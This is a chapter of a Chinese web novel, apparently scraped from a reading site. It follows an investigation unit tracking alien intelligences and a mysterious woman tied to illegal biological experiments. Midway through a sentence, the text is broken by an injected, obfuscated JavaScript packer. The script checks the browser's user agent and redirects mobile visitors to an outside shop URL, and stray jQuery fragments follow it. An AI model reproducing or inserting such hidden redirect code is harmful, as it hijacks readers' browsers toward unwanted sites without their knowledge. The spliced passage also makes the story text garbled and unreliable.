朝阳初升,霞光明灿,照得金色草甸犹如黄金满地,辽阔草原好似在这万丈曦光里活了过来。
迎着晨光,天地相接的地平线外缓缓驶来一座座钢铁巨兽。
周昭放下望远镜,心底重重松了一口气,眉目舒展开来:“他们回来了。”
参谋长看了眼表盘,“47小时38分。”
这支队伍从出发到归来所花费的时长。
出发时64人,回来33人,另外一半暂时留在中心区的营地,那儿可还有一堆动物尸体没清理干净呢。
任务完成的消息已经上报,驻地很快就会安排人去接手后续工作。
隔离区的异种能量已被钟华意尽数回收,留下的尸体不足为虑,照正常流程处置就行。特调部派来的技术专家也会对这片隔离区进行安全评估,确认没问题后,封禁三十年的区域将会逐步解封。
可惜任务目标虽然基本达成,但还不算圆满。
秦九枢猜测隔离区种种事件背后还藏着另一个掌控着某种类似空间传送能力的异种智慧体,只是那个智慧体见势不对,早就借着能力溜之大吉了。
他和钟华意这一夜将整个隔离区都转遍了,亲身探查过确认不再有异种能量的痕迹,才宣布任务结束收兵回程。
“钟队,秦处,你们来得正好,部里有新任务了。”
刚回来还没喘口气儿呢又有新任务,钟华意拧眉,倒不是不满连续加班,而是想到新任务代表着新危机。
多事之秋。
“对了,葛建那儿怎么样?”
“一切正常,王平一直守着,每天一针高强度麻醉再有他定时辅助催眠,人一直没醒过。”
“行,现在就回去看看。”
隔离区的异常能量都被清除了,周昭猜想大概是她们队长找到了什么法子对付那看不见摸不着的东西,不过既然她没说,她也就不多问。现在赶着回驻地,必然也是刻不容缓解决葛建身上的问题。
一行人边走边说。
秦九枢主动问道:“什么任务?”
周昭看了眼这位特调部大名鼎鼎的办事处副处长,总觉得对方从隔离区回来之后变得有些不太一样了。
就和队长给她的感觉很相似,好像……更强了?
“部长点名要求,这次任务我们二队需要和办事处互相配合,六队几名成员也在任务名单里。”
见两位领导颇有默契地朝自己看来,周昭难得感觉到了一股无形的压力,斟字酌句解释道:“准确来说,是要我们二队、办事处配合六队一起行动。”
……
特殊调查部特遣六队在编队员十二人,成员及特殊能力皆是经过精挑细选,任务范围多是涉足国际地域,不常在国内。六队成员对外也并不使用本名,而是冠以代号,代号对应各自的特殊能力。
比如“应龙”。华国的神话传说里,应龙是上古神兽,背生双翼可呼风唤雨,在一些故事里又被称为战神。特遣六队的队长应龙,特殊能力即为雷电,虽然达不到呼风唤雨的地步,但群体杀伤力强,最高记录一次可同时击倒十个试验标靶;如果要达到重伤效果,攻击目标就需适当减少,反之,要扩大攻击范围,伤害效果就会打折扣。
九个多月前,代号“獬豸”的六队副队长奉命前往白国执行秘密任务,却于半年前神秘失踪,失踪前仅仅传回一条情报。
根据情报得知,白国借跟班小弟西蒙国一家大型生物医药公司的名头和华国的邻国兰罗国高官秘密达成合作,在兰罗国臭名昭著的非法园区内进行某种生物实验。
在生物实验这方面,白国可是全世界的佼佼者。曾经就靠着自家实验室“意外”泄露的一种生物病毒害得某个小国传染病蔓延,付出惨重代价才换得白国的疫苗解药,此后元气大损、经济衰退,国力大不如前。
特调部得到情报后,又派了连同队长应龙在内的几名六队队员秘密潜入兰罗国非法园区追查,同时也安排了六队另外两名队员连同办事处的一名特殊强化者去往白国寻找獬豸的下落。
白国那边暂时没有消息传回,倒是应龙等人联合兰罗国军方成功清剿非法园区后,在地下实验室里有了重大发现。
“一群疯子!”
钟华意将平板重重摔到桌台上,几乎不愿多看一眼那个所谓实验室里拍摄到的影像。
外形狰狞扭曲的变异怪物也就罢了,那些不带任何感情色彩的冰冷文字所写下的实验记录、各种人体动物组织胡乱拼凑缝合出来的扭曲身体、实验台上在绝望与痛苦中死去的普通人……
“说人都抬举他们!就是猪狗不如的畜生!”周昭更是义愤填膺。
她先前只收到新任务的大致命令和安排,完整任务内容只有钟华意或秦九枢的权限才能解锁,是以也是才看到具体的任务信息。
秦九枢沉默着没说话,仔细浏览了一遍任务内容,最后的最后,平板电脑的画面停留在了一张素描画像上久久不曾滑动。
他敏锐地察觉到了,钟华意和他一样,在看到这张画像的瞬间眼神都有了微妙的变化。
——他们都见过画像上的人。
六队成员“青鸟”的特殊能力是信息处理,被称为特调部行走的“人形计算机”,这次接收到的任务信息就是她一手统合整理的,最终的任务目标总结为三个:
一、寻找獬豸下落。
二、探查白国关于“异常能量”实验的情况。
三、尽力与“不明能力者”取得联系,查清其身份来历。
这份无比全面的任务信息汇总资料里,提到了一个极为特殊的“人”。
她孤身一人现身守卫森严的密卡南部园区,在园区实验室展露出异常强大的特殊能力,轻而易举便制服了特遣队队员花费大力气才能剿杀的变异怪物(或者称之为“被害实验体”更合适)。
如果这些都还只是正常范畴的“特殊能力”,那在兰罗军方清扫实验楼时发现的,褪去怪物模样变回人猿缝合的受害者尸体、人蜥缝合尸体……以及那个完全恢复成普通人模样的特殊男孩。
男孩在地下实验室自杀式阻拦变异实验体的举动得到应龙等人的重点关注,随后又意外透露曾和獬豸一同被囚禁在白国的秘密实验室,因此被连夜送回华国首都特调部总部,经过专家评估检测后,确认男孩已是一名特殊强化者,且能力比目前特调部记录在案的所有强化者都更强大。
据男孩所说,他是因为那个神秘女人才得以恢复正常。
就连发生在密卡市又牵扯进南部园区的一桩人口绑架拐卖案也似乎与那个女人有联系。
现在,女人的侧写画像就明晃晃落在众人眼底。
一个萍水相逢的、却让人印象深刻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17774587|209820||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的人。
在江海市警察局大楼对面的老字号茶餐厅里,在那家五星级酒店的露天咖啡馆里,在酒店35楼的客房走廊……
钟华意见过,秦九枢也见过。
她曾与他们数次擦肩而过。
–
呀,被发现了呢。
从酒店豪华大床醒来的明翡同步了她的“放置小人“们的新进展。
那个代号为“青鸟”的姑娘很敏锐,通过特殊能力对近期的各类相关信息进行了高度整合,从而发现了明翡极有可能就是绑架案里一直没有查到来历的报警人,再结合冯铃和孙云浩的行动轨迹推测出她是正常乘坐航班来的兰罗国。
现在她们已经接入了机场那边的系统,正等着明翡什么时候买票回国“自投罗网”呢。
事后的诸多记录可以神不知鬼不觉地抹除,让人查不到一点痕迹,那就一直盯着总能抓个现行吧?
钟华意评价得对,在很多时候,明翡的确不够谨慎。
因为她完全不在乎。
她要是真的想不被任何人发现,多的是法子。
一切从她在园区救下那群女人之后就开始变了。
她们说,想知道她的名字,想永远记住她的救命之恩。
她答应了。
但愿人类可不要恩将仇报啊。
似是想到什么回忆,明翡略微不悦地皱了皱眉心,翻开酒店菜单点了一堆餐品才让心情好转起来。
吃过东西她才将注意力放到距离华国西北已有数千里之遥的异邦,原本盘桓在西北隔离区的异种智慧体为了躲避钟华意和秦九枢合围,已经跑到那么远了啊。
真是不禁吓。
……
另一边,周昭自公安系统临时调来华国近三年人口失踪记录的电子档案,再往前的记录花费的时间要多些,十年前的更是需要去调纸质卷宗。
所幸无需倒推那么久远的记录,秦九枢在半年前的失踪人口记录里找到了熟悉的面孔。
此人是青安省本地人,曾经在距离隔离区五百公里之外的某个小型金矿当矿工,三年前金矿出了安全事故被封了,这人丢了工作没了收入来源,便暗暗和道上搞走私生意的小混混搭上了线,私下挖些珍稀野生植物和名贵中药材转手贩卖。因为是零散行动,和警方打着游击战,一直没被抓获。
直到半年前他的家人来报案,说人去草原里挖草走了一个多月都没消息,连带着同行的另外几人也没了音讯,家里人怕出事才报的警。警方随后走访调查了几个月也没找到那些人的踪迹,就暂时当做失踪人口记录在案。
那些人常活动的区域和隔离区这边相距大几百公里,属于另一个行政辖区,因此没有被列入隔离区的异常关注事件。
而这人正是昨夜秦九枢见过的异种智慧体,只是芯子已然换了。
他指着另外几个一同失踪的人道:“这几人联系全国天眼系统管理中心筛一遍,另一个异种智慧体可能就在其中。”
必要的话,可以动用国外的眼线,尽力寻找线索。
不怪要如此兴师动众,那不是普通的犯人,而是来历不明的异种智慧体,比核弹威胁还大的存在。
核武器至少还由人控制着发射开关,异种智慧体可没有,或者说,它们的“开关”并不在人类手中,它们的存在本身就是人类的灾难。